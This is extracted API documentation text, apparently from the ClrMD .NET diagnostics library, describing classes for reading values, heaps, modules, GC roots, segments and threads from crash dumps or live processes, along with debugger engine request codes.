MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. A ClrValue represents the value of a field or variable. This value may be of any type (or null). Returns the size of the value. Returns the address of the value. Returns the result of ReadPointer(Address) if this value is an object. Returns whether Address is an interior value. Returns whether this value is null (or otherwise cannot be accessed). Returns the element type of this value. The runtime associated with this value. Returns the type of this value. Obtains the element type when ElementType is a struct. The ClrType of this value, or ClrHeap.ErrorType if it could not be obtained. Returns a ClrObject for this value. A ClrObject for this value. If the value is null, then ClrObject.IsNull will the true and ClrObject.Type will equal ClrHeap.ErrorType. Converts the value to a boolean. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a boolean. Converts the value to a byte. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a byte. Converts the value to a sbyte. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a sbyte. Converts the value to a char. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a char. Converts the value to a short. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a boolean. Converts the value to a ushort. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a boolean. Converts the value to an int. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as an int. Converts the value to a uint. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a uint. Converts the value to a ulong. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a ulong. Converts the value to a long. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a long. Converts the value to a float. This value as a float. Converts the value to a double. This value as a double. Converts the value to a raw string. This method will throw an InvalidOperationException if the target value is not a string. The string contents of this value. Converts the value to an IntPtr. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as an IntPtr. Converts the value to a UIntPtr. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a UIntPtr. Gets an object reference field from ClrObject. Any field which is a subclass of System.Object The name of the field to retrieve. Retrieves a field from this value. The name of the field. A ClrValue representing this field. Gets a boolean field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a byte field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a signed byte field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a character field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a short field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets an unsigned short field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a int field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a uint field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a long field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a ulong field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a float field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a double field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a string field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a pointer field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets an unsigned pointer field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. ToString implementation. A string value of this type. Represents the version of a DLL. In a version 'A.B.C.D', this field represents 'A'. In a version 'A.B.C.D', this field represents 'B'. In a version 'A.B.C.D', this field represents 'C'. In a version 'A.B.C.D', this field represents 'D'. To string. The A.B.C.D version prepended with 'v'. Returns the "flavor" of CLR this module represents. This is the full version of CLR included with windows. This is a reduced CLR used in other projects. Used for .Net Native. Represents information about a single Clr runtime in a process. The version number of this runtime. The type of CLR this module represents. Returns module information about the Dac needed create a ClrRuntime instance for this runtime. Returns module information about the ClrInstance. Returns the location of the local dac on your machine which matches this version of Clr, or null if one could not be found. Creates a runtime from the given Dac file on disk. Creates a runtime from a given IXClrDataProcess interface. Used for debugger plugins. Creates a runtime from the given Dac file on disk. A full path to the matching mscordacwks for this process. Whether or not to ignore mismatches between To string. A version string for this Clr runtime. IComparable. Sorts the object by version. The object to compare to. -1 if less, 0 if equal, 1 if greater. Specifies how to attach to a live process. Performs an invasive debugger attach. Allows the consumer of this API to control the target process through normal IDebug function calls. The process will be paused. Performs a non-invasive debugger attach. The process will be paused by this attached (and for the duration of the attach) but the caller cannot control the target process. This is useful when there's already a debugger attached to the process. Performs a "passive" attach, meaning no debugger is actually attached to the target process. The process is not paused, so queries for quickly changing data (such as the contents of the GC heap or callstacks) will be highly inconsistent unless the user pauses the process through other means. Useful when attaching with ICorDebug (managed debugger), as you cannot use a non-invasive attach with ICorDebug. Information about a specific PDB instance obtained from a PE image. The Guid of the PDB. The pdb revision. The filename of the pdb. Creates an instance of the PdbInfo class Creates an instance of the PdbInfo class with the corresponding properties initialized Provides information about loaded modules in a DataTarget The base address of the object. The filesize of the image. The build timestamp of the image. The filename of the module on disk. Returns true if this module is a native (non-managed) .Net runtime module. Returns a PEFile from a stream constructed using instance fields of this object. If the PEFile cannot be constructed correctly, null is returned Whether the module is managed or not. To string. The filename of the module. The PDB associated with this module. The version information for this file. Empty constructor for serialization. Creates a ModuleInfo object with an IDataReader instance. This is used when lazily evaluating VersionInfo. Represents the dac dll Returns the filename of the dac dll according to the specified parameters The platform-agnostice filename of the dac dll The architecture (x86 or amd64) being targeted Constructs a DacInfo object with the appropriate properties initialized The result of a VirtualQuery. The base address of the allocation. The size of the allocation. Constructor. Base address of the memory range. The size of the memory range. An interface for reading data out of the target process. Called when the DataTarget is closing (Disposing). Used to clean up resources. Informs the data reader that the user has requested all data be flushed. Gets the architecture of the target. The architecture of the target. Gets the size of a pointer in the target process. The pointer size of the target process. Enumerates modules in the target process. A list of the modules in the target process. Gets the version information for a given module (given by the base address of the module). The base address of the module to look up. The version info for the given module. Read memory out of the target process. The address of memory to read. The buffer to write to. The number of bytes to read. The number of bytes actually read out of the target process. True if any bytes were read at all, false if the read failed (and no bytes were read). Read memory out of the target process. The address of memory to read. The buffer to write to. The number of bytes to read. The number of bytes actually read out of the target process. True if any bytes were read at all, false if the read failed (and no bytes were read). Returns true if the data target is a minidump (or otherwise may not contain full heap data). True if the data target is a minidump (or otherwise may not contain full heap data). Gets the TEB of the specified thread. The OS thread ID to get the TEB for. The address of the thread's teb. Enumerates the OS thread ID of all threads in the process. An enumeration of all threads in the target process. Gets information about the given memory range. An arbitrary address in the target process. The base address and size of the allocation. True if the address was found and vq was filled, false if the address is not valid memory. Gets the thread context for the given thread. The OS thread ID to read the context from. The requested context flags, or 0 for default flags. The size (in bytes) of the context parameter. A pointer to the buffer to write to. Gets the thread context for the given thread. The OS thread ID to read the context from. The requested context flags, or 0 for default flags. The size (in bytes) of the context parameter. A pointer to the buffer to write to. Read a pointer out of the target process. The pointer at the give address, or 0 if that pointer doesn't exist in the data target. Read an int out of the target process. The int at the give address, or 0 if that pointer doesn't exist in the data target. The type of crash dump reader to use. Use DbgEng. This allows the user to obtain an instance of IDebugClient through the DataTarget.DebuggerInterface property, at the cost of strict threading requirements. Use a simple dump reader to read data out of the crash dump. This allows processing multiple dumps (using separate DataTargets) on multiple threads, but the DataTarget.DebuggerInterface property will return null. A crash dump or live process to read out of. Creates a DataTarget from a crash dump. The crash dump's filename. A DataTarget instance. Creates a DataTarget from a crash dump, specifying the dump reader to use. The crash dump's filename. The type of dump reader to use. A DataTarget instance. Create an instance of DataTarget from a user defined DataReader A user defined DataReader. A new DataTarget instance. Creates a data target from an existing IDebugClient interface. If you created and attached a dbgeng based debugger to a process you may pass the IDebugClient RCW object to this function to create the DataTarget. The dbgeng IDebugClient object. We will query interface on this for IDebugClient. A DataTarget instance. Invasively attaches to a live process. The process ID of the process to attach to. Timeout in milliseconds. A DataTarget instance. Attaches to a live process. The process ID of the process to attach to. Timeout in milliseconds. The type of attach requested for the target process. A DataTarget instance. The data reader for this instance. Instance to manage the symbol path(s) A symbol provider which loads PDBs on behalf of ClrMD. This should be set so that when ClrMD needs to resolve names which can only come from PDBs. If this is not set, you may have a degraded experience. Returns true if the target process is a minidump, or otherwise might have limited memory. If IsMinidump returns true, a greater range of functions may fail to return data due to the data not being present in the application/crash dump you are debugging. Returns the architecture of the target process or crash dump. Returns the list of Clr versions loaded into the process. Returns the pointer size for the target process. Reads memory from the target. The address to read from. The buffer to store the data in. Size must be greator or equal to bytesRequested. The amount of bytes to read from the target process. The actual number of bytes read. True if any bytes were read out of the process (including a partial read). False if no bytes could be read from the address. Returns the IDebugClient interface associated with this datatarget. (Will return null if the user attached passively.) Enumerates information about the loaded modules in the process (both managed and unmanaged). IDisposable implementation. InBuffer - Unused. OutBuffer - Unused. InBuffer - Unused. OutBuffer - Machine-specific CONTEXT. InBuffer - Unused. OutBuffer - ULONG system ID of thread. InBuffer - Unused. OutBuffer - EXCEPTION_RECORD64. InBuffer - Unused. OutBuffer - DEBUG_CREATE_PROCESS_OPTIONS. InBuffer - DEBUG_CREATE_PROCESS_OPTIONS. OutBuffer - Unused. InBuffer - Unused. OutBuffer - ULONG[2] major/minor. InBuffer - DEBUG_READ_USER_MINIDUMP_STREAM. OutBuffer - Unused. InBuffer - Unused. OutBuffer - Unused. InBuffer - PTSTR. OutBuffer - Unused. InBuffer - Unused. OutBuffer - Event code stream offset. InBuffer - Unused. OutBuffer - Event code stream information. InBuffer - Input data block. OutBuffer - Processed data block. InBuffer - Unused. OutBuffer - Returned path. InBuffer - DEBUG_GET_TEXT_COMPLETIONS_IN. OutBuffer - DEBUG_GET_TEXT_COMPLETIONS_OUT. InBuffer - ULONG64 cookie. OutBuffer - DEBUG_CACHED_SYMBOL_INFO. InBuffer - DEBUG_CACHED_SYMBOL_INFO. OutBuffer - ULONG64 cookie. InBuffer - ULONG64 cookie. OutBuffer - Unused. InBuffer - DEBUG_GET_TEXT_COMPLETIONS_IN. OutBuffer - DEBUG_GET_TEXT_COMPLETIONS_OUT. InBuffer - Unused. OutBuffer - Unused. InBuffer - ULONG64 offset. OutBuffer - Unwind information. InBuffer - Unused OutBuffer - returned DUMP_HEADER32/DUMP_HEADER64 structure. InBuffer - DUMP_HEADER32/DUMP_HEADER64 structure. OutBuffer - Unused InBuffer - Midori specific OutBuffer - Midori specific InBuffer - Unused OutBuffer - PROCESS_NAME_ENTRY blocks InBuffer - Unused OutBuffer - MINIDUMP_MISC_INFO_N blocks InBuffer - Unused OutBuffer - ULONG64 as TokenHandle value InBuffer - Unused OutBuffer - ULONG64 as TokenHandle value InBuffer - ULONG64 as TokenHandle being duplicated OutBuffer - ULONG64 as new duplicated TokenHandle InBuffer - a ULONG64 as TokenHandle and a ULONG as NtQueryInformationToken() request code OutBuffer - NtQueryInformationToken() return InBuffer - ULONG64 as TokenHandle OutBuffer - Unused InBuffer - ULONG64 for process server identification and ULONG as PID OutBuffer - Unused InBuffer - ULONG64 for process server identification and PWSTR as module path OutBuffer - Unused InBuffer - Unused OutBuffer - Unused return - S_OK if non-invasive user-mode attach, S_FALSE if not (but still live user-mode), E_FAIL otherwise. InBuffer - TID OutBuffer - Unused return - ResumeThreads() return. The process is a console application that is being run without a console window. Therefore, the console handle for the application is not set. This flag is ignored if the application is not a console application, or if it is used with either CREATE_NEW_CONSOLE or DETACHED_PROCESS. This bit is added in DEBUG_CES_EXECUTION_STATUS notifications when the engines execution status is changing due to operations performed during a wait, such as making synchronous callbacks. If the bit is not set the execution status is changing due to a wait being satisfied. This bit is added in DEBUG_CES_EXECUTION_STATUS notifications when the engines execution status update is coming after a wait has timed-out. It indicates that the execution status change was not due to an actual event. Creates a new file. The function fails if a specified file exists. Creates a new file, always. If a file exists, the function overwrites the file, clears the existing attributes, combines the specified file attributes, and flags with FILE_ATTRIBUTE_ARCHIVE, but does not set the security descriptor that the SECURITY_ATTRIBUTES structure specifies. Opens a file. The function fails if the file does not exist. Opens a file, always. If a file does not exist, the function creates a file as if dwCreationDisposition is CREATE_NEW. Opens a file and truncates it so that its size is 0 (zero) bytes. The function fails if the file does not exist. The calling process must open the file with the GENERIC_WRITE access right. This method is not used. Describes a symbol within a module. The location in the target's virtual address space of the module's base address. The symbol ID of the symbol within the module. The location in the target's virtual address space of the module's base address. The symbol ID of the symbol within the module. Address of the AppDomain. The AppDomain's ID. The name of the AppDomain, as specified when the domain was created. If the field has a well defined offset from the base of the object, return it (otherwise -1). Given an object reference, fetch the address of the field. If the field has a well defined offset from the base of the object, return it (otherwise -1). Given an object reference, fetch the address of the field. If the field has a well defined offset from the base of the object, return it (otherwise -1). Given an object reference, fetch the address of the field. Returns the version of the target process (v2, v4, v45) Returns the pointer size of the target process. Returns the MethodTable for an array of objects. Enumerates all managed threads in the process. Only threads which have previously run managed code will be enumerated. Returns the MethodTable for string objects. Returns the MethodTable for free space markers. The address of the system domain in CLR. The address of the shared domain in CLR. The address of the system domain in CLR. The address of the shared domain in CLR. Enumerates regions of memory which CLR has allocated with a description of what data resides at that location. Note that this does not return every chunk of address space that CLR allocates. An enumeration of memory regions in the process. Converts an address into an AppDomain. Flushes the dac cache. This function MUST be called any time you expect to call the same function but expect different results. For example, after walking the heap, you need to call Flush before attempting to walk the heap again. Returns the name of the type as specified by the TypeHandle. Note this returns the name as specified by the metadata, NOT as you would expect to see it in a C# program. For example, generics are denoted with a ` and the number of params. Thus a Dictionary (with two type params) would look like: System.Collections.Generics.Dictionary`2 The TypeHandle to get the name of. The name of the type, or null on error. Equivalent to GetDisplayString(false). The allocation context pointers/limits for this heap. The keys of this dictionary are the allocation pointers, the values of this dictionary are the limits. If an allocation pointer is ever reached while walking a segment, you must "skip" past the allocation limit. That is: if (curr_obj is in AllocPointers) curr_obj = AllocPointers[curr_obj] + min_object_size; Returns the address of the ephemeral segment. Users of this API should use HeapSegment.Ephemeral instead of this property. Returns the actual end of the ephemeral segment. A messy version with better performance that doesn't use regular expression. Represents a managed module in the target process. Gets the runtime which contains this module. Returns a list of all AppDomains this module is loaded into. Please note that unlike ClrRuntime.AppDomains, this list may include the shared AppDomain. Returns the name of the assembly that this module is defined in. Returns an identifier to uniquely represent this assembly. This value is not used by any other function in ClrMD, but can be used to group modules by their assembly. (Do not use AssemblyName for this, as reflection and other special assemblies can share the same name, but actually be different.) Returns the name of the module. Returns true if this module was created through Reflection.Emit (and thus has no associated file). Returns true if this module is an actual PEFile on disk. Returns the filename of where the module was loaded from on disk. Undefined results if IsPEFile returns false. Returns the base of the image loaded into memory. This may be 0 if there is not a physical file backing it. Returns the size of the image in memory. Enumerate all types defined by this module. The location of metadata for this module in the process's memory. This is useful if you need to manually create IMetaData* objects. The length of the metadata for this module. The IMetaDataImport interface for this module. Note that this API does not provide a wrapper for IMetaDataImport. You will need to wrap the API yourself if you need to use this. The debugging attributes for this module. Attempts to obtain a ClrType based on the name of the type. Note this is a "best effort" due to the way that the dac handles types. This function will fail for Generics, and types which have never been constructed in the target process. Please be sure to null-check the return value of this function. The name of the type. (This would be the EXACT value returned by ClrType.Name. The requested ClrType, or null if the type doesn't exist or couldn't be constructed. Returns a name for the assembly. A name for the assembly. Returns the pdb information for this module. Returns a given type by its metadata token. The metadata token to resolve. A ClrType for the given metadata token. A ClrHeap is a abstraction for the whole GC Heap. Subclasses allow you to implement this for a particular kind of heap (whether live, When ClrMD cannot determine the type of an object (either because the address is invalid or we encountered an error looking up the object's type), then we return a ClrType which indicates there was an error. This property returns that type. When ClrMD needs to hand out a ClrType for a null object (such as ClrValue.GetObject on a field which is null). And the ability to take an address of an object and fetch its type (The type alows further exploration) Returns a ClrObject for the given object address. The address of an object A ClrObject for the given address. Returns whether this version of CLR has component MethodTables. Component MethodTables were removed from desktop CLR in v4.6, and do not exist at all on .Net Native. If this method returns false, all componet MethodTables will be 0, and expected to be 0 when an argument to a function. Attempts to retrieve the MethodTable and component MethodTable from the given object. Note that this some ClrTypes cannot be uniquely determined by MethodTable alone. In Desktop CLR (prior to v4.6), arrays of reference types all use the same MethodTable but also carry a second MethodTable (called the component MethodTable) to determine the array element types. Note this function has undefined behavior if you do not pass a valid object reference to it. The object to get the MethodTable of. The MethodTable for the given object. The component MethodTable of the given object. True if methodTable was filled, false if we failed to read memory. Attempts to retrieve the MethodTable from the given object. Note that this some ClrTypes cannot be uniquely determined by MethodTable alone. In Desktop CLR, arrays of reference types all use the same MethodTable. To uniquely determine an array of referneces you must also have its component type. Note this function has undefined behavior if you do not pass a valid object reference to it. The object to get the MethodTablee of. The MethodTable of the object, or 0 if the address could not be read from. Retrieves the EEClass from the given MethodTable. EEClasses do not exist on .Net Native. The MethodTable to get the EEClass from. The EEClass for the given MethodTable, 0 if methodTable is invalid or does not exist. Retrieves the MethodTable associated with the given EEClass. The eeclass to get the method table from. The MethodTable for the given EEClass, 0 if eeclass is invalid or does not exist. Returns a wrapper around a System.Exception object (or one of its subclasses). Returns the runtime associated with this heap. A heap is has a list of contiguous memory regions called segments. This list is returned in order of of increasing object addresses. Enumerate the roots of the process. (That is, all objects which keep other objects alive.) Equivalent to EnumerateRoots(true). Looks up a type by name. The name of the type. The ClrType matching 'name', null if the type was not found, and undefined if more than one type shares the same name. Retrieves the given type by its MethodTable/ComponentMethodTable pair. The ClrType.MethodTable for the requested type. The ClrType's component MethodTable for the requested type. A ClrType object, or null if no such type exists. Retrieves the given type by its MethodTable/ComponentMethodTable pair. Note this is only valid if the given type's component MethodTable is 0. The ClrType.MethodTable for the requested type. A ClrType object, or null if no such type exists. Enumerate the roots in the process. True if we should enumerate static variables. Enumerating with statics can take much longer than enumerating without them. Additionally these will be be "double reported", since all static variables are pinned by handles on the HandleTable (which is also enumerated with EnumerateRoots). You would want to enumerate statics with roots if you care about what exact statics root what objects, but not if you care about performance. Enumerates all types in the runtime. An enumeration of all types in the target process. May return null if it's unsupported for that version of CLR. Enumerates all finalizable objects on the heap. Enumerates all managed locks in the process. That is anything using System.Monitor either explictly or implicitly through "lock (obj)". This is roughly equivalent to combining SOS's !syncblk command with !dumpheap -thinlock. Returns true if the GC heap is in a consistent state for heap enumeration. This will return false if the process was stopped in the middle of a GC, which can cause the GC heap to be unwalkable. Note, you may still attempt to walk the heap if this function returns false, but you will likely only be able to partially walk each segment. Enumerates all objects on the heap. This is equivalent to enumerating all segments then walking each object with ClrSegment.FirstObject, ClrSegment.NextObject, but in a simple enumerator for easier use in linq queries. An enumerator for all objects on the heap. Enumerates all objects on the heap. An enumeration of all objects on the heap. TotalHeapSize is defined as the sum of the length of all segments. Get the size by generation 0, 1, 2, 3. The large object heap is Gen 3 here. The sum of all of these should add up to the TotalHeapSize. Returns the generation of an object. Returns the object after this one on the segment. The object to find the next for. The next object on the segment, or 0 if the object was the last one on the segment. Returns the GC segment for the given object. Returns true if the given address resides somewhere on the managed heap. Pointer size of on the machine (4 or 8 bytes). Returns a string representation of this heap, including the size and number of segments. The string representation of this heap. Read 'count' bytes from the ClrHeap at 'address' placing it in 'buffer' starting at offset 'offset' Attempts to efficiently read a pointer from memory. This acts exactly like ClrRuntime.ReadPointer, but there is a greater chance you will hit a chache for a more efficient memory read. The address to read. The pointer value. True if we successfully read the value, false if addr is not mapped into the process space. Represents a managed lock within the runtime. The object associated with the lock. Whether or not the object is currently locked. The recursion count of the lock (only valid if Locked is true). The thread which currently owns the lock. This is only valid if Taken is true and only valid if HasSingleOwner is true. Returns true if this lock has only one owner. Returns false if this lock may have multiple owners (for example, readers on a RW lock). Returns the list of owners for this object. Returns the list of threads waiting on this object. The reason why it's blocking. The type of GCRoot that a ClrRoot represnts. The root is a static variable. The root is a thread static. The root is a local variable (or compiler generated temporary variable). The root is a strong handle. The root is a weak handle. The root is a strong pinning handle. The root comes from the finalizer queue. The root is an async IO (strong) pinning handle. The max value of this enum. Represents a root in the target process. A root is the base entry to the GC's mark and sweep algorithm. A GC Root also has a Kind, which says if it is a strong or weak root The name of the root. The type of the object this root points to. That is, ClrHeap.GetObjectType(ClrRoot.Object). The object on the GC heap that this root keeps alive. The address of the root in the target process. If the root can be identified as belonging to a particular AppDomain this is that AppDomain. It an be null if there is no AppDomain associated with the root. If the root has a thread associated with it, this will return that thread. Returns true if Object is an "interior" pointer. This means that the pointer may actually point inside an object instead of to the start of the object. Returns true if the root "pins" the object, preventing the GC from relocating it. Unfortunately some versions of the APIs we consume do not give us perfect information. If this property is true it means we used a heuristic to find the value, and it might not actually be considered a root by the GC. Returns a string representation of this object. A string representation of this object. A GCHeapSegment represents a contiguous region of memory that is devoted to the GC heap. Segments. It has a start and end and knows what heap it belongs to. Segments can optional have regions for Gen 0, 1 and 2, and Large properties. The start address of the segment. All objects in this segment fall within Start <= object < End. The end address of the segment. All objects in this segment fall within Start <= object < End. The number of bytes in the segment. The GC heap associated with this segment. There's only one GCHeap per process, so this is only a convenience method to keep from having to pass the heap along with a segment. The processor that this heap is affinitized with. In a workstation GC, there is no processor affinity (and the return value of this property is undefined). In a server GC each segment has a logical processor in the PC associated with it. This property returns that logical processor number (starting at 0). The address of the end of memory reserved for the segment, but not committed. The address of the end of memory committed for the segment (this may be longer than Length). Returns the first object's address on this segment. Returns the first object on this segment. Given an object on the segment, return the 'next' object in the segment. Returns 0 when there are no more objects. (Or enumeration is not possible) Returns the next object given an object on this segment. Returns an object with IsNull set to true when reaching the end of this segment. Returns true if this is a segment for the Large Object Heap. False otherwise. Large objects (greater than 85,000 bytes in size), are stored in their own segments and only collected on full (gen 2) collections. Returns true if this segment is the ephemeral segment (meaning it contains gen0 and gen1 objects). Ephemeral heap sements have geneation 0 and 1 in them. Gen 1 is always above Gen 2 and Gen 0 is above Gen 1. This property tell where Gen 0 start in memory. Note that if this is not an Ephemeral segment, then this will return End (which makes Gen 0 empty for this segment) The length of the gen0 portion of this segment. The start of the gen1 portion of this segment. The length of the gen1 portion of this segment. The start of the gen2 portion of this segment. The length of the gen2 portion of this segment. Enumerates all objects on the segment. Returns the generation of an object in this segment. An object in this segment. The generation of the given object if that object lies in this segment. The return value is undefined if the object does not lie in this segment. Returns a string representation of this object. A string representation of this object. Every thread which is blocking on an object specifies why the object is waiting. Object is not locked. Not able to determine why the object is blocking. The thread is waiting for a Mutex or Semaphore (such as Monitor.Enter, lock(obj), etc). The thread is waiting for a mutex with Monitor.Wait. The thread is waiting for an event (ManualResetEvent.WaitOne, AutoResetEvent.WaitOne). The thread is waiting in WaitHandle.WaitAll. The thread is waiting in WaitHandle.WaitAny. The thread is blocked on a call to Thread.Join. ReaderWriterLock, reader lock is taken. ReaderWriterLock, writer lock is taken. Types of GC segments. Ephemeral segments are the only segments to contain Gen0 and Gen1 objects. It may also contain Gen2 objects, but not always. Objects are only allocated on the ephemeral segment. There is one ephemeral segment per logical GC heap. It is important to not have too many pinned objects in the ephemeral segment, or you will run into a performance problem where the runtime runs too many GCs. Regular GC segments only contain Gen2 objects. The large object heap contains objects greater than a certain threshold. Large object segments are never compacted. Large objects are directly allocated onto LargeObject segments, and all large objects are considered gen2. Defines the state of the thread from the runtime's perspective. In Cooperative mode the thread must cooperate before a GC may proceed. This means when a GC starts, the runtime will attempt to suspend the thread at a safepoint but cannot immediately stop the thread until it synchronizes. In Preemptive mode the runtime is free to suspend the thread at any time for a GC to occur. Wrapper for the ICLRDebugging shim interface. This interface exposes the native pipeline architecture startup APIs Constructor Creates the underlying interface from mscoree!CLRCreateInstance Detects if a native module represents a CLR and if so provides the debugging interface and versioning information The native base address of a module which might be a CLR The process abstraction which can be used for inspection A callback interface for locating version specific debug libraries such as mscordbi.dll and mscordacwks.dll The highest version of the CLR/debugging libraries which the caller can support The version of the CLR detected or null if no CLR was detected Flags which have additional information about the CLR. See ClrDebuggingProcessFlags for more details The CLR's debugging interface Version of the above that doesn't throw exceptions on failure Determines if the module is no longer in use A module handle that was provided via the ILibraryProvider True if the module can be unloaded, False otherwise fIsOutOfBand == 0 is the normalcase. If fIsOutOfBand == 1 when continuing after an event that did not bring the runtime to a 'safe' spot. Constants to return from GetPlatform Creates a new area in memory in which you can create new metadata. [in] The CLSID of the version of metadata structures to be created. This value must be CLSID_CorMetaDataRuntime. [in] Flags that specify options. This value must be zero. [in] The IID of the desired metadata interface to be returned; the caller will use the interface to create the new metadata. The value of riid must specify one of the "emit" interfaces. Valid values are IID_IMetaDataEmit, IID_IMetaDataAssemblyEmit, or IID_IMetaDataEmit2. [out] The pointer to the returned interface. STDMETHOD(DefineScope)( // Return code. REFCLSID rclsid, // [in] What version to create. DWORD dwCreateFlags, // [in] Flags on the create. REFIID riid, // [in] The interface desired. IUnknown **ppIUnk) PURE; // [out] Return interface on success. Opens an existing, on-disk file and maps its metadata into memory. [in] The name of the file to be opened. The file must contain common language runtime (CLR) metadata. [in] A value of the CorOpenFlags enumeration to specify the mode (read, write, and so on) for opening. [in] The IID of the desired metadata interface to be returned; the caller will use the interface to import (read) or emit (write) metadata. The value of riid must specify one of the "import" or "emit" interfaces. Valid values are IID_IMetaDataEmit, IID_IMetaDataImport, IID_IMetaDataAssemblyEmit, IID_IMetaDataAssemblyImport, IID_IMetaDataEmit2, or IID_IMetaDataImport2. [out] The pointer to the returned interface. STDMETHOD(OpenScope)( // Return code. LPCWSTR szScope, // [in] The scope to open. DWORD dwOpenFlags, // [in] Open mode flags. REFIID riid, // [in] The interface desired. IUnknown **ppIUnk) PURE; // [out] Return interface on success. Opens an area of memory that contains existing metadata. That is, this method opens a specified area of memory in which the existing data is treated as metadata. [in] A pointer that specifies the starting address of the memory area. [in] The size of the memory area, in bytes. [in] A value of the CorOpenFlags enumeration to specify the mode (read, write, and so on) for opening. [in] The IID of the desired metadata interface to be returned; the caller will use the interface to import (read) or emit (write) metadata. The value of riid must specify one of the "import" or "emit" interfaces. Valid values are IID_IMetaDataEmit, IID_IMetaDataImport, IID_IMetaDataAssemblyEmit, IID_IMetaDataAssemblyImport, IID_IMetaDataEmit2, or IID_IMetaDataImport2. [out] The pointer to the returned interface. STDMETHOD(OpenScopeOnMemory)( // Return code. LPCVOID pData, // [in] Location of scope data. ULONG cbData, // [in] Size of the data pointed to by pData. DWORD dwOpenFlags, // [in] Open mode flags. REFIID riid, // [in] The interface desired. IUnknown **ppIUnk) PURE; // [out] Return interface on success. Represents a version of the CLR runtime Information 